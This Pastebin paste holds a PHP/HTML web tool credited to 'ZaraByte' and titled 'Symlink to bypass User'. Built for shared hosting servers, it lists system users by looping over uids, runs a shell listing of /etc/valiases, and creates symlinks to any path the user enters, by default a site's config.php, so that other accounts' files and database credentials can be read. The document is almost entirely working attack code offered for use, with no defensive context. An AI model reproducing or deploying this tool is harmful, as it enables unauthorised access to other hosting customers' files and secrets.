Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
- <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
- <head>
- <title>ZaraByte - Symlink to bypass User</title>
- <style type="text/css">
- {
- margin: 0 auto;
- }
- body {
- font-family: Verdana;
- font-size: 12px;
- background: #EEE url(http://i.imgur.com/F4fqd.gif);
- background-attachment: fixed;
- background-attachment: scroll;
- background-color: #333
- }
- a {
- color: #36C;
- }
- a:hover {
- color: #06F;
- }
- .container {
- background: #333;
- margin: 0 auto;
- padding-bottom: 6px;
- width: 531px;
- border: 1px solid #000;
- }
- .header {
- background: #333;
- border: 1px solid #000;
- margin-bottom: 8px;
- }
- .title h1 {
- color: #000;
- font: bold 3em Verdana,sans-serif;
- height: 120px;
- line-height: 12px;
- margin-bottom: 8px;
- text-align: center;
- }
- </style>
- </head>
- <body>
- <div class="container">
- <div class="main">
- <div class="header">
- <div class="title">
- <h1><img src="http://i.imgur.com/nt3do.png"></h1></div>
- </div>
- </div>
- <div class="content">
- <div class="item">
- <form style="border: 1px solid #333">
- <center><font color="#FF0000">-= [Symlink to bypass User] =-</font><br>
- <font color="#FF0000">Redesigned by ZaraByte </font><br>
- <font color="#FF0000"><a href=http://zarabyte.com>http://zarabyte.com</a><br>
- <font color="#FF0000"><a href="mailto:zarabyte@gmail.com" style="text-decoration: none">
- <font color="#FF0000">zarabyte@gmail.com</font></a></font></center>
- </form>
- <font face=tahoma size=2>
- <form style="border: 1px solid #000">
- <font color=red>Filename to view:</font>
- <input type="text" name="c" value="<?php $line=$_SERVER['DOCUMENT_ROOT']; echo $line . "/path/to/config.php"; ?>" size="51">
- <input type="submit" value="Submit">
- </form>
- <br>
- <form style="border: 1px solid #000">
- <font color=red>Option 1:</font><br>
- <font color=red>Get Users in Server:</font><br>
- <select size=\"1\" name="passwd"><option value="option1">/etc/passwd</option></select>
- <input type="submit" value="Submit"><br>
- <font color=red>Recommended Option! Option 2. doesn't work on all servers. </font><br>
- </form>
- <br>
- <form style="border: 1px solid #000">
- <font color=red>Option 2:</font><br>
- <font color=red>Get Name Sites with User: </font><br>
- <select size="1" name="valiases">
- <option value="option2">/etc/valiases</option></select>
- <input type="submit" value="Submit"><br>
- <font color=red>Works on some servers if nothing shows try Option 1.</font><br>
- </form>
- <textarea method='POST' rows=15 cols=63 wrap=off>
- <?php
- if ($_GET['passwd'] )
- for($uid=0;$uid<60000;$uid++){ //cat /etc/passwd
- $ara = posix_getpwuid($uid);
- if (!empty($ara)) {
- while (list ($key, $val) = each($ara)){
- print "$val:";
- }
- print "\n";
- }
- }
- echo "</textarea>";
- $k = $_GET['c'];
- $flib = "output.txt";
- if ($k == "") {
- die;
- }else{
- @unlink($flib);
- $sym = $k;
- $link = getcwd() . "/" . $flib;
- @symlink($sym, $link);
- if ($k{0} == "/") {
- echo "<script> window.location = '" . $flib . "'</script>";
- }else{
- echo "<pre><xmp>";
- echo readlink($flib) . "\n";
- echo "Filesize: " . linkinfo($flib) . "B\n\n";
- $ddir = getcwd();
- $file2 = str_replace($DOCUMENT_ROOT,'' , $ddir);
- $file2 = "http://" . $SERVER_NAME . $filee . $flib;
- $result = file_get_contents($file2); echo $result;
- }
- }
- if ($_GET['valiases'] )
- system('ls -al /etc/valiases'); //Only Works with some servers!
- ?>
- </div>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement